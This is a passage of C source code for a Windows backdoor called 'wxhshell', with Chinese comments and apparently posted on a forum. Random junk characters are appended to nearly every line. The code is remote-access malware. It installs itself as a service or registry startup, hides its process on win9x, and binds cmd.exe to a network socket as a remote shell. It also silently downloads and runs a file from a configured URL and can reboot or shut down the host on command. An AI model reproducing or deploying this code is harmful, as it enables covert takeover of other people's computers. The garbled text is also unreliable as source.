  U_04QwhK7  
  // 帮助 A]slssE+  
  case '?': { N* QI>kzU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #`EMK   
    break; !b Km}1T  
  } <Z wEdq  
  // 安装  yw^, @'  
  case 'i': { v7RDoO]I  
    if(Install()) TR;-xst@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]J5AdJ  
    else [:Y^0[2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {rr\hl-$  
    break; ?/g(Y  
    } R2gax;  
  // 卸载 m{" zFD/  
  case 'r': { fe,CY5B{  
    if(Uninstall()) H$HhB8z3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ym5' h  
    else ng\S%nA&J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U$%w"k7^(  
    break; Il[WXt<S  
    } $NSYQF%aO  
  // 显示 wxhshell 所在路径 O5"80z38[  
  case 'p': { VzNH%  
    char svExeFile[MAX_PATH]; ;* Jd#O  
    strcpy(svExeFile,"\n\r"); hy rJu{p  
      strcat(svExeFile,ExeFile); pwQ."2x  
        send(wsh,svExeFile,strlen(svExeFile),0); v?t+%|dzA  
    break; MsiSC  
    } n%hnL$!z  
  // 重启 vOU -bF%u  
  case 'b': { ekXHfA!i%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :2+:(^l  
    if(Boot(REBOOT)) a$-ax[:\sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _t7A'`Dh]  
    else { g.qp _O  
    closesocket(wsh); hHQt4 r'd  
    ExitThread(0); Obm\h*$  
    } :>u{BG;=79  
    break; e!y t<[ph  
    } 0Oq1ay^  
  // 关机 mNzZ/*n:  
  case 'd': { # jyAq$I0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6C=.8eP  
    if(Boot(SHUTDOWN)) nfEk,(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xae7#d0  
    else { T/nRc_I+^B  
    closesocket(wsh); V"z0]DP5~  
    ExitThread(0); 9lwg`UWl,  
    } mD:!"h/  
    break; '>8N'*  
    } 4D5)<3N=d'  
  // 获取shell Y-9F*8<  
  case 's': { [Pl$=[+  
    CmdShell(wsh); Yp$lc^)c>  
    closesocket(wsh); c_ i;'  
    ExitThread(0); _`_$U MK;  
    break; od>.5{o  
  } XooAL0w  
  // 退出 01b0;|  
  case 'x': { L!RLw4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r0,}f\  
    CloseIt(wsh); -vQ`}e1  
    break; m"5gzH  
    } +VDB\n   
  // 离开 psBBiHB[L  
  case 'q': { j&r5oD;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ofV{SeD67  
    closesocket(wsh); ^B7Aam  
    WSACleanup(); )deuB5kz  
    exit(1); Qoc-ZC"<6  
    break; TqC"lO>:Q  
        } ;3_'{  
  } "lm3o(Dk  
  } =:lacK(0  
<cS1}"  
  // 提示信息 P]G2gDO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lnhZ!_  
} \4 DH&gZ[  
  } k K(,FB  
E;SF f  
  return; ;C3](  
} mi+I)b=  
sSxra!tv4  
// shell模块句柄 vKxwv YDe  
int CmdShell(SOCKET sock) GauIe0qV  
{ (Qnn  
STARTUPINFO si; &7cy9Z~m  
ZeroMemory(&si,sizeof(si)); z]pH'c39  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #F kdcY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y}8j_r  
PROCESS_INFORMATION ProcessInfo; >A6lX)  
char cmdline[]="cmd"; tO#y4<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L3S,*LnA  
  return 0; e |!i1e!  
} 8Vp"}(Q  
N gr7E  
// 自身启动模式 .Q7z<Q  
int StartFromService(void) o Vs&r?\Z  
{ `R\0g\  
typedef struct :?zOLw?(  
{ i4l?q#X  
  DWORD ExitStatus; 6w' ^,V  
  DWORD PebBaseAddress; D0~mu{;c$  
  DWORD AffinityMask;  I2b[  
  DWORD BasePriority; N9hBGa$  
  ULONG UniqueProcessId; D n^RZLRhy  
  ULONG InheritedFromUniqueProcessId; DLVf7/=3~  
}   PROCESS_BASIC_INFORMATION; q~lmOT~E  
Ood&cP'c  
PROCNTQSIP NtQueryInformationProcess; #u>JCPz  
k&^fIz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; crUXpD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VHy$\5oYg  
Ma$b(4dB  
  HANDLE             hProcess; :`d& |BB  
  PROCESS_BASIC_INFORMATION pbi; +=*ZH `qX  
7yKadM~)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (RQ kwu/  
  if(NULL == hInst ) return 0; V\A?1   
{?82>q5F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <X:7$v6T|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '_2~8w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >qOhzbAH{<  
z7}@8F  
  if (!NtQueryInformationProcess) return 0; [/I4Pe1Yj%  
arnu|paw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n@xU5Q  
  if(!hProcess) return 0; 0@z78h=h  
{epsiHK@tK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3AWg43L7  
n-uoY<;hp  
  CloseHandle(hProcess); -*3wNGh {  
\'shnzs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #P1k5!u  
if(hProcess==NULL) return 0; B>Mk "WjQ  
Y.ic=<0H  
HMODULE hMod; +Oo>V~  
char procName[255]; A@GyKx%x$  
unsigned long cbNeeded; `6'fX[j5  
^;M!u8[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e4t'3So  
60*=Bs%b  
  CloseHandle(hProcess); l%U{Unwu  
) "'J]6  
if(strstr(procName,"services")) return 1; // 以服务启动 }oU0J  
hC,EO&  
  return 0; // 注册表启动 i0hF9M  
} xGN&RjPk\  
X ZfT;!wF&  
// 主模块 ?EdF&^[3rD  
int StartWxhshell(LPSTR lpCmdLine) JPRl/P$  
{ -(P"+g3T  
  SOCKET wsl; Z{|wjZb(  
BOOL val=TRUE; ]wZG4A  
  int port=0; *?cE]U6;  
  struct sockaddr_in door; N,L$+wm  
C/!kMMh>vV  
  if(wscfg.ws_autoins) Install(); ? 3Td>x  
so1% MV  
port=atoi(lpCmdLine); .,I^)8c  
Bf.@B0\  
if(port<=0) port=wscfg.ws_port; Ft'?43J  
Y'wQ(6ok  
  WSADATA data; yi PMJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; THC34u]  
;BsyN[bF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Til $TT%H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x^&D8&4^  
  door.sin_family = AF_INET; ; &$djP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !IF#L0z  
  door.sin_port = htons(port); pxjb^GZ0  
7xqTTN6h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a%cCR=s=  
closesocket(wsl); JHBX'1GQa  
return 1; sSU p7V  
} 26?yEd6^Z  
pkQEry&Z  
  if(listen(wsl,2) == INVALID_SOCKET) { n'>`2 s  
closesocket(wsl); [WW3'= e^  
return 1; A@4sb W_  
} |bA\>%~  
  Wxhshell(wsl); .*+%-%CbP  
  WSACleanup(); {94qsVxQZ  
O8qA2@,  
return 0; eh`n?C  
/SO 4O|b  
} ,ir(~g+{g  
B*W)e$  
// 以NT服务方式启动 k "7l\;N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RG4T9eZq  
{ Bu$Z+o  
DWORD   status = 0; S}WQ~e  
  DWORD   specificError = 0xfffffff; jInI%  
hV_bm@f/y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %|Sh|\6A!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lcO;3CrJ!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k  <SFl  
  serviceStatus.dwWin32ExitCode     = 0; 8cI<~|4_  
  serviceStatus.dwServiceSpecificExitCode = 0; A%(t'z  
  serviceStatus.dwCheckPoint       = 0; 3@7IY4>o  
  serviceStatus.dwWaitHint       = 0; <2^XKaS`  
z$C}V/Ey  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9\y\{DHd  
  if (hServiceStatusHandle==0) return; |1!RvW:[!  
F|nJ3:v  
status = GetLastError(); <2{g[le  
  if (status!=NO_ERROR) ROb2g|YXG  
{ W!6&T [j>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &V"9[0  
    serviceStatus.dwCheckPoint       = 0; P3Ocfpf Bp  
    serviceStatus.dwWaitHint       = 0; ^26vP7  
    serviceStatus.dwWin32ExitCode     = status; VEFUj&t;xW  
    serviceStatus.dwServiceSpecificExitCode = specificError; PaIE=Q4gJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O(pa;&"  
    return; U~H]w ,^  
  } |}$ZOwc  
$IUe](a{d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qx<86aKkF  
  serviceStatus.dwCheckPoint       = 0; w`ebZa/j  
  serviceStatus.dwWaitHint       = 0; ?y"= jn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Aj4?AXWc  
} H+lBb$  
(m:ktd=x  
// 处理NT服务事件,比如:启动、停止 B bP&-c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <9Sg,ix't  
{ \?EnTu.  
switch(fdwControl) S3fyt]pp  
{ O S?S$y  
case SERVICE_CONTROL_STOP: dK.k,7R  
  serviceStatus.dwWin32ExitCode = 0; AXN%b2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8p"R4  
  serviceStatus.dwCheckPoint   = 0; @?bO@  
  serviceStatus.dwWaitHint     = 0; s&.VU|=VQ@  
  { NW?.Ge.!P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -0P(lkylf  
  } <+3-(&  
  return; u]`ur#_  
case SERVICE_CONTROL_PAUSE: QTe>EJ12  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "Zr+>a  
  break; !N"Y  
case SERVICE_CONTROL_CONTINUE: C[c^zn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U?/C>g%/PI  
  break; )b\89 F  
case SERVICE_CONTROL_INTERROGATE: >tGl7Ov  
  break; 1>)q 5D  
}; 7j,u&%om  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7^bde<0  
} J)I|Xot  
(?y (0%q  
// 标准应用程序主函数 L@VIC|~E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3]MSS\uB  
{ ']Z1nb  
$*-UY  
// 获取操作系统版本 =pa F6!AB  
OsIsNt=GetOsVer(); R%EpF'[~[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <36z,[,kZ@  
Ng,< 4;  
  // 从命令行安装 qL;u59  
  if(strpbrk(lpCmdLine,"iI")) Install(); K (px-jY  
LWX,u  
  // 下载执行文件 5oOF|IYi  
if(wscfg.ws_downexe) { I l2`c}9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Y)h[  
  WinExec(wscfg.ws_filenam,SW_HIDE); t?l0L1;  
} :n0czO6 E  
?j:U<TY)  
if(!OsIsNt) { d,y%:F 4  
// 如果时win9x,隐藏进程并且设置为注册表启动 H 5,rp4H9  
HideProc(); _@] uHp|  
StartWxhshell(lpCmdLine); A,fPl R  
} Gq)E,Ln&d  
else veq.48E]  
  if(StartFromService()) <h"07.y  
  // 以服务方式启动 P,RdY M06  
  StartServiceCtrlDispatcher(DispatchTable); #^i.[7p  
else :@oy5zib  
  // 普通方式启动 i!KZg74V  
  StartWxhshell(lpCmdLine); + $Yld{i  
**KkPjAO?  
return 0; L;%_r)  
}
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只看该作者 1 发表于: 2006-10-10
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